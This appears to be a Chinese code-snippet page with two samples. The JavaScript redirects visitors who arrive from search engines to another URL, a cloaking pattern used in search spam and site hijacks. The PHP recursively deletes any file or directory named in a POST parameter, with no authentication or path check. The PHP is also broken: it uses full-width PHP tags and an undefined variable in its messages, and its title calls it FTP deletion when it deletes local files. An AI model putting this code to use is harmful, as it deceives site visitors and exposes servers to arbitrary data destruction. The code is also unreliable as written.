判斷來源網址

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //轉為小寫
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = '要跳轉的網址';
window.adworkergo = 'ad_app6';
}
}
</script>

利用程式刪除遠端FTP站台的檔案

＜？php

if ( isset($_POST['dirname']) ) 
{
 
 echo $dir_name = $_POST['dirname'];
 if ( is_file( $dir_name ) )
 {
         if ( unlink($dir_name) )  echo "Del file \"$dirname\" successfully!
"; 
                else    echo "Fail to del file \"$dirname\"!
"; 
 }
 else
 {
         CleanDir($dir_name);
   if ( rmdir($dir_name) )  echo "Remove dir \"$dirname\" successfully!
";
             else                   echo "Fail to Remove dir \"$dirname\"!
"; 
 }
} 

function CleanDir($dir)
{
 $handle=opendir($dir);
 while ( $file=readdir($handle) )
 {
  if ( ($file==".") || ($file=="..") ) continue;
  if ( is_dir("$dir/$file") )
  {
   CleanDir("$dir/$file");
   if ( rmdir("$dir/$file") ) echo "Remove dir \"$dir/$file\" successfully!
";
                        else    echo "Fail to Remove dir \"$dir/$file\"!
"; 
  } 
  else      
  { 
   if ( unlink("$dir/$file") )     echo "Del file \"$dir/$file\" successfully!
"; 
   else                   echo "Fail to del file \"$dir/$file\"!
";  
  }
 }
 closedir($handle);
}

？＞ 











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